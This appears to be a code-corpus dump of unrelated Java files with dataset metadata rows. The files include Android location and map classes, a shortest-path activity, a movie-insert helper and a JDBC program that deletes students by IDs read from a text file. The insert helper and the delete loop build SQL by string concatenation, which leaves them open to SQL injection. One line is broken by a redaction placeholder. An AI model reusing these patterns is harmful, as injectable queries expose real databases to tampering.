private Geocoder mGeocoder;
private List<Address> addressList;
private double lat;
private double lon;
String adress;
String city;
String subCity;
String postCode;
String country;
String division;
String countrycode;
public LocationReq() {
}
public void LocationReq() {
}
public void address(Geocoder mGeocoder){
// Log.d("Location2",String.valueOf(getLat()));
try {
addressList = mGeocoder.getFromLocation(getLat(),getLon(),1);
Address address = addressList.get(0);
this.adress=address.getThoroughfare();
this.city=String.valueOf(address.getLocality());
this.subCity= address.getSubLocality();
this.postCode=address.getPostalCode();
this.division=address.getAdminArea();
this.country=address.getCountryName();
this.countrycode=address.getCountryCode();
Log.d("Location2",division +" "+country);
} catch (IOException e) {
Log.d("Location2","Not ok");
}
}
public LocationReq(double lat, double lon) {
this.lat = lat;
this.lon = lon;
}
@Override
public void onLocationChanged(Location location) {
}
public double getLat() {
return lat;
}
public void setLat(double lat) {
this.lat = lat;
}
public double getLon() {
return lon;
}
public void setLon(double lon) {
this.lon = lon;
}
public String getAdress() {
return adress;
}
public void setAdress(String adress) {
this.adress = adress;
}
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
public String getSubCity() {
return subCity;
}
public void setSubCity(String subCity) {
this.subCity = subCity;
}
public String getPostCode() {
return postCode;
}
public void setPostCode(String postCode) {
this.postCode = postCode;
}
public String getCountry() {
return country;
}
public void setCountry(String country) {
this.country = country;
}
public String getDivision() {
return division;
}
public void setDivision(String division) {
this.division = division;
}
public String getCountrycode() {
return countrycode;
}
public void setCountrycode(String countrycode) {
this.countrycode = countrycode;
}
@Override
public String toString() {
return "LocationRequest{" +
"lat=" + lat +
", lon=" + lon +
", adress='" + adress + '\'' +
", city='" + city + '\'' +
", subCity='" + subCity + '\'' +
", postCode='" + postCode + '\'' +
", country='" + country + '\'' +
", division='" + division + '\'' +
", countrycode='" + countrycode + '\'' +
'}';
}
}
| UTF-8 | Java | 3,676 | java | LocationReq.java | Java | []
| null | []
| package com.smac.tushar.mylocation;
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Address;
import android.location.Geocoder;
import android.location.Location;
import android.support.v4.app.ActivityCompat;
import android.util.Log;
import android.widget.Toast;
import com.google.android.gms.location.LocationListener;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import java.util.List;
public class LocationReq implements LocationListener {
Context context;
private Geocoder mGeocoder;
private List<Address> addressList;
private double lat;
private double lon;
String adress;
String city;
String subCity;
String postCode;
String country;
String division;
String countrycode;
public LocationReq() {
}
public void LocationReq() {
}
public void address(Geocoder mGeocoder){
// Log.d("Location2",String.valueOf(getLat()));
try {
addressList = mGeocoder.getFromLocation(getLat(),getLon(),1);
Address address = addressList.get(0);
this.adress=address.getThoroughfare();
this.city=String.valueOf(address.getLocality());
this.subCity= address.getSubLocality();
this.postCode=address.getPostalCode();
this.division=address.getAdminArea();
this.country=address.getCountryName();
this.countrycode=address.getCountryCode();
Log.d("Location2",division +" "+country);
} catch (IOException e) {
Log.d("Location2","Not ok");
}
}
public LocationReq(double lat, double lon) {
this.lat = lat;
this.lon = lon;
}
@Override
public void onLocationChanged(Location location) {
}
public double getLat() {
return lat;
}
public void setLat(double lat) {
this.lat = lat;
}
public double getLon() {
return lon;
}
public void setLon(double lon) {
this.lon = lon;
}
public String getAdress() {
return adress;
}
public void setAdress(String adress) {
this.adress = adress;
}
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
public String getSubCity() {
return subCity;
}
public void setSubCity(String subCity) {
this.subCity = subCity;
}
public String getPostCode() {
return postCode;
}
public void setPostCode(String postCode) {
this.postCode = postCode;
}
public String getCountry() {
return country;
}
public void setCountry(String country) {
this.country = country;
}
public String getDivision() {
return division;
}
public void setDivision(String division) {
this.division = division;
}
public String getCountrycode() {
return countrycode;
}
public void setCountrycode(String countrycode) {
this.countrycode = countrycode;
}
@Override
public String toString() {
return "LocationRequest{" +
"lat=" + lat +
", lon=" + lon +
", adress='" + adress + '\'' +
", city='" + city + '\'' +
", subCity='" + subCity + '\'' +
", postCode='" + postCode + '\'' +
", country='" + country + '\'' +
", division='" + division + '\'' +
", countrycode='" + countrycode + '\'' +
'}';
}
}
| 3,676 | 0.584875 | 0.583243 | 164 | 21.414635 | 18.831377 | 73 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.445122 | false | false | 14 |
68d5b866e99ea9fd446283fbfe0bb2c26714dafe | 15,573,551,440,148 | 0c4a253b0c08c275884560ac34f7d521fdd4d974 | /showshortestpath.java | 26846bce87e6fdd5db19af538847af312b47c7f0 | []
| no_license | gowtham1723/Shop-easy | https://github.com/gowtham1723/Shop-easy | 0cc38cef58dca4989732f931e68055266a5a1353 | 133a381c60499f2d73a7d72105e7d29c023341ae | refs/heads/master | 2020-06-23T11:45:33.426000 | 2019-08-30T00:36:15 | 2019-08-30T00:36:15 | 198,613,601 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.supermaket_user;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.widget.TextView;
import java.util.ArrayList;
public class showshortestpath extends AppCompatActivity {
ArrayList<Integer> locationid;
floydwarshall fw;
int x=0;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_showshortestpath);
Intent secintent=getIntent();
locationid=secintent.getIntegerArrayListExtra("array");
String z="";
String y=Integer.toString(locationid.size());
int[] array=new int[locationid.size()];
int j=0;
for(Integer i:locationid)
{
array[j]=i;
j++;
}
TextView s=(TextView) findViewById(R.id.s);
floydwarshall a = new floydwarshall();
int[][] dist=a.floydWarshall(a.graph);
int[]x=a.multi(dist,array,locationid.size());
for(int i=x.length-1;i>=0;i--)
{
x[i]=x[i]+96;
char c=(char)x[i];
if(z=="")
{
z=z+c;
}
else
{
z=z+" -> "+c;
}
}
s.setText(z);
}
}
| UTF-8 | Java | 1,396 | java | showshortestpath.java | Java | []
| null | []
| package com.example.supermaket_user;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.widget.TextView;
import java.util.ArrayList;
public class showshortestpath extends AppCompatActivity {
ArrayList<Integer> locationid;
floydwarshall fw;
int x=0;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_showshortestpath);
Intent secintent=getIntent();
locationid=secintent.getIntegerArrayListExtra("array");
String z="";
String y=Integer.toString(locationid.size());
int[] array=new int[locationid.size()];
int j=0;
for(Integer i:locationid)
{
array[j]=i;
j++;
}
TextView s=(TextView) findViewById(R.id.s);
floydwarshall a = new floydwarshall();
int[][] dist=a.floydWarshall(a.graph);
int[]x=a.multi(dist,array,locationid.size());
for(int i=x.length-1;i>=0;i--)
{
x[i]=x[i]+96;
char c=(char)x[i];
if(z=="")
{
z=z+c;
}
else
{
z=z+" -> "+c;
}
}
s.setText(z);
}
}
| 1,396 | 0.540115 | 0.535817 | 51 | 25.333334 | 18.093079 | 63 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.627451 | false | false | 14 |
1b194720e0f852249b0275993a99a3c676c5ba3e | 37,263,136,275,927 | d253af241460ae47617f0ea95e67333050a0dd08 | /SEMESTR VII/Obiektowe/Projekt/src/main/java/db/DataBasePostgresSQL.java | 2af00693b3b70c7bbdf8493fe10897feafd074ba | []
| no_license | KrzysztofKozubek/Academic | https://github.com/KrzysztofKozubek/Academic | 2a2b0be411a5148a8d7a8d421786c39e6560b535 | db1fd056764be6d18532bbc25c85ecccd5842cde | refs/heads/master | 2020-04-13T23:52:02.474000 | 2018-12-29T14:54:14 | 2018-12-29T14:54:14 | 163,517,807 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package db;
import java.sql.SQLException;
import java.util.Scanner;
public class DataBasePostgresSQL extends DatabaseHandler {
static DataBasePostgresSQL dataBasePostgresSQL = null;
private DataBasePostgresSQL() {}
public static DataBasePostgresSQL getDataBasePostgresSQL() {
if(dataBasePostgresSQL == null)
dataBasePostgresSQL = new DataBasePostgresSQL();
return dataBasePostgresSQL;
}
@Override
public String generateInsertQuery(Movie movie) {
StringBuffer query = new StringBuffer();
query.append("INSERT INTO " + nameTable +
" (title, poster, genre, premier, mark, time) VALUES (");
query.append("'" + movie.title + "', ");
query.append("'" + movie.poster + "', ");
query.append("'" + movie.genre + "', ");
query.append("'" + movie.premier + "', ");
query.append("'" + movie.mark + "', ");
query.append("'" + movie.description + "'");
query.append(")");
return query.toString();
}
}
| UTF-8 | Java | 1,048 | java | DataBasePostgresSQL.java | Java | []
| null | []
| package db;
import java.sql.SQLException;
import java.util.Scanner;
public class DataBasePostgresSQL extends DatabaseHandler {
static DataBasePostgresSQL dataBasePostgresSQL = null;
private DataBasePostgresSQL() {}
public static DataBasePostgresSQL getDataBasePostgresSQL() {
if(dataBasePostgresSQL == null)
dataBasePostgresSQL = new DataBasePostgresSQL();
return dataBasePostgresSQL;
}
@Override
public String generateInsertQuery(Movie movie) {
StringBuffer query = new StringBuffer();
query.append("INSERT INTO " + nameTable +
" (title, poster, genre, premier, mark, time) VALUES (");
query.append("'" + movie.title + "', ");
query.append("'" + movie.poster + "', ");
query.append("'" + movie.genre + "', ");
query.append("'" + movie.premier + "', ");
query.append("'" + movie.mark + "', ");
query.append("'" + movie.description + "'");
query.append(")");
return query.toString();
}
}
| 1,048 | 0.607824 | 0.607824 | 35 | 28.942858 | 23.793087 | 73 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.742857 | false | false | 14 |
82f88fb808001a20be4e0e14c4b4c549b2e76b0e | 34,978,213,701,773 | c163a0fd500f73209911d13822a01c9ae3603fba | /code/cloud-mvn-parent/cloud-mvn-task/src/test/java/cn/spring/mvn/task/test/TestBatch.java | 2c58f8e73741d83c2adf5c3c451cc6e15af54434 | []
| no_license | liutao1024/github-cloud | https://github.com/liutao1024/github-cloud | b5a7b74e8a87088fb770398841ce28374731b225 | b7a01f609ba1ecd60959489a29a4ed5a821cff73 | refs/heads/dev | 2022-12-01T23:11:33.824000 | 2021-01-12T09:27:26 | 2021-01-12T09:27:26 | 167,465,435 | 1 | 1 | null | false | 2022-11-24T09:50:38 | 2019-01-25T01:34:46 | 2021-01-12T09:27:43 | 2022-11-24T09:50:35 | 82,563 | 0 | 1 | 13 | JavaScript | false | false | package cn.spring.mvn.task.test;
//import java.io.File;
//import java.util.ArrayList;
//import java.util.List;
//
//import org.junit.Test;
//
//import cn.spring.mvn.batch.tools.BatchTools;
public class TestBatch {/*
@Test
public void testBatch(){
List<String> staticFileList = new ArrayList<String>();
List<String> staticSubClassList = new ArrayList<String>();
String filePath = "D:\\Eclipse\\eclipse-workspaces\\spring-maven\\spring-mvc-maven\\src\\main\\java\\cn\\spring\\mvc\\global\\comm\\batch";
File file = new File(filePath);
staticFileList = BatchTools.getSubFileNameListByFilePath(file,staticFileList);
for(String staticClass : staticFileList){
if(BatchTools.isChildClass(staticClass, BatchManger.class)){
staticSubClassList.add(staticClass);
}
}
try {
List<Object> staticObjectList = BatchTools.getAttributeByAutowiredAnnotation(staticSubClassList);
for(Object staticObj : staticObjectList){
System.out.println(staticObj);
}
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
*/}
| UTF-8 | Java | 1,087 | java | TestBatch.java | Java | []
| null | []
| package cn.spring.mvn.task.test;
//import java.io.File;
//import java.util.ArrayList;
//import java.util.List;
//
//import org.junit.Test;
//
//import cn.spring.mvn.batch.tools.BatchTools;
public class TestBatch {/*
@Test
public void testBatch(){
List<String> staticFileList = new ArrayList<String>();
List<String> staticSubClassList = new ArrayList<String>();
String filePath = "D:\\Eclipse\\eclipse-workspaces\\spring-maven\\spring-mvc-maven\\src\\main\\java\\cn\\spring\\mvc\\global\\comm\\batch";
File file = new File(filePath);
staticFileList = BatchTools.getSubFileNameListByFilePath(file,staticFileList);
for(String staticClass : staticFileList){
if(BatchTools.isChildClass(staticClass, BatchManger.class)){
staticSubClassList.add(staticClass);
}
}
try {
List<Object> staticObjectList = BatchTools.getAttributeByAutowiredAnnotation(staticSubClassList);
for(Object staticObj : staticObjectList){
System.out.println(staticObj);
}
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
*/}
| 1,087 | 0.709292 | 0.709292 | 33 | 30.939394 | 31.222506 | 141 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2 | false | false | 14 |
bff524b2a169a1ca0e16b94d01a3e6b447aec67d | 4,793,183,567,740 | f3f477ea674250fc79b307c3c213c841f604d719 | /deleteFromFile.java | 4e45c51f2d1f27320dc2f0b049407148a8b79a07 | []
| no_license | Gowthambaskaran3/PoC | https://github.com/Gowthambaskaran3/PoC | 11185a8f62758cb36cc4e94117c96e9d9cccf858 | d9519ce5eeb77dc89dd7551596e029c24d4e6c18 | refs/heads/master | 2023-08-14T11:03:00.997000 | 2021-10-06T11:46:04 | 2021-10-06T11:46:04 | 413,752,120 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package POC2;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Properties;
public class deleteFromFile {
public static void main(String[] args) {
Connection Conn = null;
Statement Stmnt = null;
ResultSet rsSet = null;
try {
Properties props = new Properties();
props.load(new FileInputStream("D:\\java\\poc2.properties"));
String theUser = props.getProperty("user");
String thePassword = props.getProperty("password");
String theDburl = props.getProperty("dburl");
System.out.println("Connecting to database...");
System.out.println("Database URL: " + theDburl);
System.out.println("User: " + theUser);
Conn = DriverManager.getConnection(theDburl, theUser, thePassword);
System.out.println("\nConnection successful!\n");
Stmnt = Conn.createStatement();
FileInputStream fstream = new FileInputStream("D:\\java\\delete.txt");
DataInputStream in = new DataInputStream(fstream);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
int count = in.available();
String s;
ArrayList list = new ArrayList();
while ((s = br.readLine()) != null) {
list.add(s);
Stmnt.executeUpdate("delete from student where studentId="+s);
System.out.println("Deleted student with id = "+s);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
| UTF-8 | Java | 1,881 | java | deleteFromFile.java | Java | [
{
"context": "roperty(\"user\");\r\n String thePassword = props.getProperty(\"password\");\r\n String theD",
"end": 743,
"score": 0.5960041284561157,
"start": 738,
"tag": "PASSWORD",
"value": "props"
}
]
| null | []
| package POC2;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Properties;
public class deleteFromFile {
public static void main(String[] args) {
Connection Conn = null;
Statement Stmnt = null;
ResultSet rsSet = null;
try {
Properties props = new Properties();
props.load(new FileInputStream("D:\\java\\poc2.properties"));
String theUser = props.getProperty("user");
String thePassword = <PASSWORD>.getProperty("password");
String theDburl = props.getProperty("dburl");
System.out.println("Connecting to database...");
System.out.println("Database URL: " + theDburl);
System.out.println("User: " + theUser);
Conn = DriverManager.getConnection(theDburl, theUser, thePassword);
System.out.println("\nConnection successful!\n");
Stmnt = Conn.createStatement();
FileInputStream fstream = new FileInputStream("D:\\java\\delete.txt");
DataInputStream in = new DataInputStream(fstream);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
int count = in.available();
String s;
ArrayList list = new ArrayList();
while ((s = br.readLine()) != null) {
list.add(s);
Stmnt.executeUpdate("delete from student where studentId="+s);
System.out.println("Deleted student with id = "+s);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
| 1,886 | 0.594896 | 0.593833 | 55 | 32.200001 | 24.688164 | 82 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.672727 | false | false | 14 |
f822c0411ea11674a83224f3d6c8e38dd9282d91 | 38,826,504,368,990 | fa3d78198ac42c61ebe72146417468cd2ef44a63 | /src/com/kyondoku/first/note/Practice_Mission9.java | 0b31aa4aafb2c2c15ca5de0fe3ae070d1b6d35ae | []
| no_license | kyondoku/JAVA | https://github.com/kyondoku/JAVA | 0ed72b4779a33888f7a8a4a849cc6a50ca0f5d4b | bb319133dfc0c4cee796a125bf1b60928de1d510 | refs/heads/master | 2022-11-17T21:08:01.060000 | 2020-07-10T01:55:13 | 2020-07-10T01:55:13 | 271,745,048 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.kyondoku.first.note;
public class Practice_Mission9 {
// 버블정렬하기
public static void main(String[] args) {
int[] arr = { 24, 2, 16, 8, 33 };
for(int i=arr.length-1; i>0; i--) {
for(int z=0; z<i; z++) {
if(arr[z] > arr[z+1]) {
int temp = arr[z];
arr[z] = arr[z+1];
arr[z+1] = temp;
}
}
}
for(int val : arr) {
System.out.print(val + ", ");
}
}
}
| UTF-8 | Java | 426 | java | Practice_Mission9.java | Java | []
| null | []
| package com.kyondoku.first.note;
public class Practice_Mission9 {
// 버블정렬하기
public static void main(String[] args) {
int[] arr = { 24, 2, 16, 8, 33 };
for(int i=arr.length-1; i>0; i--) {
for(int z=0; z<i; z++) {
if(arr[z] > arr[z+1]) {
int temp = arr[z];
arr[z] = arr[z+1];
arr[z+1] = temp;
}
}
}
for(int val : arr) {
System.out.print(val + ", ");
}
}
}
| 426 | 0.492754 | 0.456522 | 25 | 15.56 | 14.003085 | 41 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.8 | false | false | 14 |
6cf4fa1af75b6b8baf03cb1c5a1c941b9e294a03 | 19,610,820,731,461 | 0c92467189879b093b579b268803f72183497a4e | /app/src/main/java/com/foot/tourpal/business/record/RecordFragment.java | a4fe19026bad0d4948646cb9650e3f2f3711b39c | []
| no_license | zangpuu/Travel | https://github.com/zangpuu/Travel | 4fe326743b0cfb00a5ad31ae75b3dfb37313e3b9 | b54a0136b2757fdf7459762e350b0f1bb8d523b8 | refs/heads/master | 2021-01-20T02:49:42.876000 | 2017-07-27T09:36:17 | 2017-07-27T09:36:17 | 89,457,729 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.foot.tourpal.business.record;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.LinearLayout;
import com.amap.api.location.AMapLocationClient;
import com.amap.api.location.AMapLocationClientOption;
import com.amap.api.maps.AMap;
import com.amap.api.maps.CameraUpdateFactory;
import com.amap.api.maps.TextureMapView;
import com.amap.api.maps.model.CameraPosition;
import com.amap.api.maps.model.LatLng;
import com.foot.tourpal.R;
import com.foot.tourpal.base.framework.AppCache;
import com.foot.tourpal.business.record.component.DaggerRecordComponent;
import com.foot.tourpal.business.record.contract.RecordContract;
import com.foot.tourpal.business.record.module.RecordModule;
import com.foot.tourpal.business.record.presenter.RecordPresenter;
import com.jess.arms.base.BaseFragment;
import com.jess.arms.di.component.AppComponent;
import com.jess.arms.utils.DataHelper;
import com.jess.arms.utils.LogUtils;
import com.jess.arms.utils.UiUtils;
import butterknife.BindView;
import timber.log.Timber;
public class RecordFragment extends BaseFragment<RecordPresenter> implements RecordContract.View, View.OnClickListener {
private static RecordFragment fragment;
private String tag = this.getClass().getSimpleName();
private TextureMapView mapView;
private AMap aMap;
private AMapLocationClient locationClient = null;
private AMapLocationClientOption mOption = new AMapLocationClientOption();
@BindView(R.id.bt_start)
Button startBt;
@BindView(R.id.bt_stop)
Button stopBt;
@BindView(R.id.ll_type)
LinearLayout typeLayout;
@BindView(R.id.bt_type_1)
Button typeBt1;
@BindView(R.id.bt_type_2)
Button typeBt2;
@BindView(R.id.bt_type_3)
Button typeBt3;
@BindView(R.id.bt_type_4)
Button typeBt4;
@BindView(R.id.bt_type_5)
Button typeBt5;
@BindView(R.id.bt_type_6)
Button typeBt6;
@BindView(R.id.bt_type_7)
Button typeBt7;
@BindView(R.id.bt_type_8)
Button typeBt8;
@BindView(R.id.bt_type_9)
Button typeBt9;
@BindView(R.id.bt_type_10)
Button typeBt10;
@BindView(R.id.bt_type_11)
Button typeBt11;
@BindView(R.id.bt_type_12)
Button typeBt12;
public static RecordFragment newInstance() {
if (fragment == null) {
synchronized (RecordFragment.class) {
fragment = new RecordFragment();
}
}
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
LogUtils.debugInfo(tag, new Exception().getStackTrace()[0].getMethodName());
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_record, container, false);
mapView = (TextureMapView) view.findViewById(R.id.map);
mapView.onCreate(savedInstanceState);
if (aMap == null) {
aMap = mapView.getMap();
}
return view;
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
}
@Override
public void onResume() {
super.onResume();
mapView.onResume();
initLocation();
}
@Override
public void onPause() {
super.onPause();
mapView.onPause();
}
@Override
public void onDestroy() {
super.onDestroy();
mapView.onDestroy();
mapView = null;
aMap = null;
locationClient = null;
mOption = null;
}
@Override
public void setupFragmentComponent(AppComponent appComponent) {
DaggerRecordComponent
.builder()
.appComponent(appComponent)
.recordModule(new RecordModule(this))
.build()
.inject(this);
}
@Override
public View initView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_record, container, false);
}
@Override
public void initData(Bundle savedInstanceState) {
startBt.setOnClickListener(this);
stopBt.setOnClickListener(this);
typeBt1.setOnClickListener(this);
typeBt2.setOnClickListener(this);
typeBt3.setOnClickListener(this);
typeBt4.setOnClickListener(this);
typeBt5.setOnClickListener(this);
typeBt6.setOnClickListener(this);
typeBt7.setOnClickListener(this);
typeBt8.setOnClickListener(this);
typeBt9.setOnClickListener(this);
typeBt10.setOnClickListener(this);
typeBt11.setOnClickListener(this);
typeBt12.setOnClickListener(this);
if (DataHelper.getBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING)) {
startBt.setVisibility(View.GONE);
stopBt.setVisibility(View.VISIBLE);
} else {
startBt.setVisibility(View.VISIBLE);
stopBt.setVisibility(View.GONE);
}
}
@Override
public void setData(Object data) {
}
/**
* 初始化定位
*
* @author hongming.wang
* @since 2.8.0
*/
private void initLocation() {
//初始化client
locationClient = new AMapLocationClient(getActivity().getApplicationContext());
//设置定位参数
locationClient.setLocationOption(getDefaultOption());
// 设置定位监听
locationClient.setLocationListener(aMapLocation -> {
if (null != aMapLocation && aMapLocation.getLatitude() != 0 && aMapLocation.getLongitude() != 0) {
LatLng now = new LatLng(aMapLocation.getLatitude(), aMapLocation.getLongitude());
Timber.i(TAG + String.format("init loc, lat=%f, lon=%f", now.latitude, now.longitude));
aMap.animateCamera(CameraUpdateFactory.newCameraPosition(new CameraPosition(
now, 15, 0, 0)));
locationClient.stopLocation();
} else {
LogUtils.warnInfo(tag, "location failed");
}
});
locationClient.startLocation();
}
/**
* 默认的定位参数
*
* @author hongming.wang
* @since 2.8.0
*/
private AMapLocationClientOption getDefaultOption() {
mOption.setLocationMode(AMapLocationClientOption.AMapLocationMode.Hight_Accuracy);//可选,设置定位模式,可选的模式有高精度、仅设备、仅网络。默认为高精度模式
mOption.setGpsFirst(false);//可选,设置是否gps优先,只在高精度模式下有效。默认关闭
mOption.setHttpTimeOut(30000);//可选,设置网络请求超时时间。默认为30秒。在仅设备模式下无效
mOption.setInterval(2000);//可选,设置定位间隔。默认为2秒
mOption.setNeedAddress(true);//可选,设置是否返回逆地理地址信息。默认是true
mOption.setOnceLocation(false);//可选,设置是否单次定位。默认是false
mOption.setOnceLocationLatest(false);//可选,设置是否等待wifi刷新,默认为false.如果设置为true,会自动变为单次定位,持续定位时不要使用
AMapLocationClientOption.setLocationProtocol(AMapLocationClientOption.AMapLocationProtocol.HTTP);//可选, 设置网络请求的协议。可选HTTP或者HTTPS。默认为HTTP
mOption.setSensorEnable(false);//可选,设置是否使用传感器。默认是false
mOption.setWifiScan(true); //可选,设置是否开启wifi扫描。默认为true,如果设置为false会同时停止主动刷新,停止以后完全依赖于系统刷新,定位位置可能存在误差
mOption.setLocationCacheEnable(true); //可选,设置是否使用缓存定位,默认为true
return mOption;
}
@Override
public void showLoading() {
}
@Override
public void hideLoading() {
}
@Override
public void showMessage(String message) {
UiUtils.snackbarText(message);
}
@Override
public void launchActivity(Intent intent) {
}
@Override
public void killMyself() {
}
@Override
public void onClick(View v) {
if (v.getId() == R.id.bt_start) {
typeLayout.setVisibility(View.VISIBLE);
} else if (v.getId() == R.id.bt_stop) {
startBt.setVisibility(View.VISIBLE);
stopBt.setVisibility(View.GONE);
DataHelper.setBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING, false);
} else {
showMessage(((Button)v).getText() + "");
typeLayout.setVisibility(View.GONE);
startBt.setVisibility(View.GONE);
stopBt.setVisibility(View.VISIBLE);
DataHelper.setBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING, true);
}
}
}
| UTF-8 | Java | 9,188 | java | RecordFragment.java | Java | [
{
"context": "\n }\n\n /**\n * 初始化定位\n *\n * @author hongming.wang\n * @since 2.8.0\n */\n private void init",
"end": 5425,
"score": 0.93803870677948,
"start": 5412,
"tag": "NAME",
"value": "hongming.wang"
},
{
"context": " }\n\n /**\n * 默认的定位参数\n *\n * @author hongming.wang\n * @since 2.8.0\n */\n private AMapLocat",
"end": 6460,
"score": 0.9935792088508606,
"start": 6447,
"tag": "NAME",
"value": "hongming.wang"
}
]
| null | []
| package com.foot.tourpal.business.record;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.LinearLayout;
import com.amap.api.location.AMapLocationClient;
import com.amap.api.location.AMapLocationClientOption;
import com.amap.api.maps.AMap;
import com.amap.api.maps.CameraUpdateFactory;
import com.amap.api.maps.TextureMapView;
import com.amap.api.maps.model.CameraPosition;
import com.amap.api.maps.model.LatLng;
import com.foot.tourpal.R;
import com.foot.tourpal.base.framework.AppCache;
import com.foot.tourpal.business.record.component.DaggerRecordComponent;
import com.foot.tourpal.business.record.contract.RecordContract;
import com.foot.tourpal.business.record.module.RecordModule;
import com.foot.tourpal.business.record.presenter.RecordPresenter;
import com.jess.arms.base.BaseFragment;
import com.jess.arms.di.component.AppComponent;
import com.jess.arms.utils.DataHelper;
import com.jess.arms.utils.LogUtils;
import com.jess.arms.utils.UiUtils;
import butterknife.BindView;
import timber.log.Timber;
public class RecordFragment extends BaseFragment<RecordPresenter> implements RecordContract.View, View.OnClickListener {
private static RecordFragment fragment;
private String tag = this.getClass().getSimpleName();
private TextureMapView mapView;
private AMap aMap;
private AMapLocationClient locationClient = null;
private AMapLocationClientOption mOption = new AMapLocationClientOption();
@BindView(R.id.bt_start)
Button startBt;
@BindView(R.id.bt_stop)
Button stopBt;
@BindView(R.id.ll_type)
LinearLayout typeLayout;
@BindView(R.id.bt_type_1)
Button typeBt1;
@BindView(R.id.bt_type_2)
Button typeBt2;
@BindView(R.id.bt_type_3)
Button typeBt3;
@BindView(R.id.bt_type_4)
Button typeBt4;
@BindView(R.id.bt_type_5)
Button typeBt5;
@BindView(R.id.bt_type_6)
Button typeBt6;
@BindView(R.id.bt_type_7)
Button typeBt7;
@BindView(R.id.bt_type_8)
Button typeBt8;
@BindView(R.id.bt_type_9)
Button typeBt9;
@BindView(R.id.bt_type_10)
Button typeBt10;
@BindView(R.id.bt_type_11)
Button typeBt11;
@BindView(R.id.bt_type_12)
Button typeBt12;
public static RecordFragment newInstance() {
if (fragment == null) {
synchronized (RecordFragment.class) {
fragment = new RecordFragment();
}
}
return fragment;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
LogUtils.debugInfo(tag, new Exception().getStackTrace()[0].getMethodName());
}
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_record, container, false);
mapView = (TextureMapView) view.findViewById(R.id.map);
mapView.onCreate(savedInstanceState);
if (aMap == null) {
aMap = mapView.getMap();
}
return view;
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
}
@Override
public void onResume() {
super.onResume();
mapView.onResume();
initLocation();
}
@Override
public void onPause() {
super.onPause();
mapView.onPause();
}
@Override
public void onDestroy() {
super.onDestroy();
mapView.onDestroy();
mapView = null;
aMap = null;
locationClient = null;
mOption = null;
}
@Override
public void setupFragmentComponent(AppComponent appComponent) {
DaggerRecordComponent
.builder()
.appComponent(appComponent)
.recordModule(new RecordModule(this))
.build()
.inject(this);
}
@Override
public View initView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_record, container, false);
}
@Override
public void initData(Bundle savedInstanceState) {
startBt.setOnClickListener(this);
stopBt.setOnClickListener(this);
typeBt1.setOnClickListener(this);
typeBt2.setOnClickListener(this);
typeBt3.setOnClickListener(this);
typeBt4.setOnClickListener(this);
typeBt5.setOnClickListener(this);
typeBt6.setOnClickListener(this);
typeBt7.setOnClickListener(this);
typeBt8.setOnClickListener(this);
typeBt9.setOnClickListener(this);
typeBt10.setOnClickListener(this);
typeBt11.setOnClickListener(this);
typeBt12.setOnClickListener(this);
if (DataHelper.getBooleanSF(this.getActivity(), AppCache.instance().KEY_IS_RECORDING)) {
startBt.setVisibility(View.GONE);
stopBt.setVisibility(View.VISIBLE);
} else {
startBt.setVisibility(View.VISIBLE);
stopBt.setVisibility(View.GONE);
}
}
@Override
public void setData(Object data) {
}
/**
* 初始化定位
*
* @author hongming.wang
